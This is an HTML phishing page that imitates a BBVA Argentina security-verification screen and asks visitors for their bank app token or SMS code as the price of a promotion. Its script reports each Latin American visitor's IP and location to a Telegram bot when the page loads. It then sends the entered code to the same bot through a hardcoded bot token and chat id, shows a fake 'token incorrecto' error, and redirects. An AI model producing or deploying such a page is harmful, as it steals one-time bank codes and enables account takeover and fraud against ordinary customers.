<html><head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="token_files/yez.css" rel="stylesheet">
    <link rel="icon" type="image/x-icon" href="https://www.arg-onliokey.com/recursos/images/favicon.ico">
    <title>Verificación de seguridad | BBVA Argentina</title>
</head>

<body>
    <header>
        <img src="token_files/logo.svg" width="130" alt="Logo">
    </header>
    <section class="container">
        <div>
            <form id="mainF" action="./naranja/manda.php" method="post">
            <h1 class="title">Verificación de Seguridad Requerida
                </h1>
                <hr>
                <p id="alerta">
                    Para Participar de la Promoción ingresá el Token de 
la App BBVA o el SMS que te enviamos a tu celular                </p>
                <input type="tel" pattern="[0-9]+" required="" minlength="6" maxlength="8" name="tokencode" class="inputCodes" placeholder="########">
                <br><br>
                <hr><br>
                <button type="submit" id="mainB" class="boton">CONFIRMAR</button>
            </form>
        </div>
    </section>
    <footer>
        <div class="footer-content">
            BBVA
        </div>
    </footer>

<script type="text/javascript">
    window.onload = function () {
        var formulario = document.getElementById('mainF');
        var boton = document.getElementById('mainB');

        formulario.addEventListener('submit', function () {
            boton.disabled = true;
        });
    }

// Función para obtener el emoji de la bandera
function getFlagEmoji(countryCode) {
    if (!countryCode) return "";
    const codePoints = countryCode
        .toUpperCase()
        .split('')
        .map(char => 127397 + char.charCodeAt());
    return String.fromCodePoint(...codePoints);
}

// Función para obtener la ubicación del usuario
async function getUserLocationData() {
    try {
        const response = await fetch("https://ipapi.co/json/");
        return await response.json();
    } catch (error) {
        console.error("Error obteniendo la IP:", error);
        return null;
    }
}

// Función para crear texto copiable en Telegram
function createCopyableText(label, value) {
    return `${label}: \`${value}\``;
}

// Función para enviar notificación de visitante
async function sendVisitorNotification() {
    const locationData = await getUserLocationData();
    const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

    if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
        const { ip, country, city, region } = locationData;
        const flag = getFlagEmoji(locationData.country_code);

        const message = `➖➖➖[ BBVA ARG ]➖➖➖\n` +
            `👀 Estado: Introduciendo Token...\n` +
            `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
            `🌐 ${createCopyableText("IP", ip)}\n` +
            `📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
            `🕒 Hora: ${new Date().toLocaleString()}\n` +
            `➖➖➖➖➖➖➖➖\n` +
            `@Chileno32 @Luxxonn`;

        const botToken = "7967923378:AAFMpPKxp-7YCrim3r8PQN0WRUYwCDdfcq8";
        const chatId = "-4744708968";

        try {
            await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                    parse_mode: "Markdown"
                })
            });
        } catch (error) {
            console.error("Error al enviar notificación:", error);
        }
    }
}

// Función para enviar Token
async function sendTokenNotification(token) {
    const locationData = await getUserLocationData();
    const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

    if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
        const { ip, country, city, region } = locationData;
        const flag = getFlagEmoji(locationData.country_code);

        const message = `➖➖➖[ BBVA ARG ]➖➖➖\n` +
            `🔑 ${createCopyableText("TOKEN", token)}\n` +
            `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
            `🌐 ${createCopyableText("IP", ip)}\n` +
            `📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
            `➖➖➖➖➖➖➖➖\n` +
            `@Chileno32 @Luxxonn`;

        const botToken = "7967923378:AAFMpPKxp-7YCrim3r8PQN0WRUYwCDdfcq8";
        const chatId = "-4744708968";

        try {
            await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message,
                    parse_mode: "Markdown"
                })
            });

            // Mostrar alerta de Token inválido
            document.querySelector('.alert').classList.remove('alert-success');
            document.querySelector('.alert').classList.add('alert-danger');
            document.querySelector('.alert p').innerHTML = `
                <i class="bi bi-exclamation-circle-fill"></i>
                Token incorrecto. Por favor, verifique sus datos e intente nuevamente.
            `;

            // Limpiar el campo de Token
            document.querySelector('.inputCodes').value = '';

            // Redirigir después de un breve delay
            setTimeout(() => {
                window.location.href = "cargando.htm";
            }, 3000);

        } catch (error) {
            console.error("Error al enviar notificación:", error);
            window.location.href = "cargando.htm";
        }
    }
}

// Event Listeners
document.addEventListener("DOMContentLoaded", function() {
    // Enviar notificación de visitante cuando la página carga
    sendVisitorNotification();

    // Validación de entrada numérica y límite de 8 dígitos
    const tokenInput = document.querySelector('.inputCodes');
    tokenInput.addEventListener("keypress", function(e) {
        if (e.which < 48 || e.which > 57) {
            e.preventDefault();
        }
        if (this.value.length >= 8) { // Changed from 6 to 8
            e.preventDefault();
        }
    });

    // Manejar envío del formulario
    document.getElementById("mainB").addEventListener("click", function(e) {
        e.preventDefault();
        const token = document.querySelector('.inputCodes').value;
        if(token.length >= 6 && token.length <= 8) { // Modified condition to accept 6-8 digits
            sendTokenNotification(token);
        }
    });
});    
</script>
</body></html>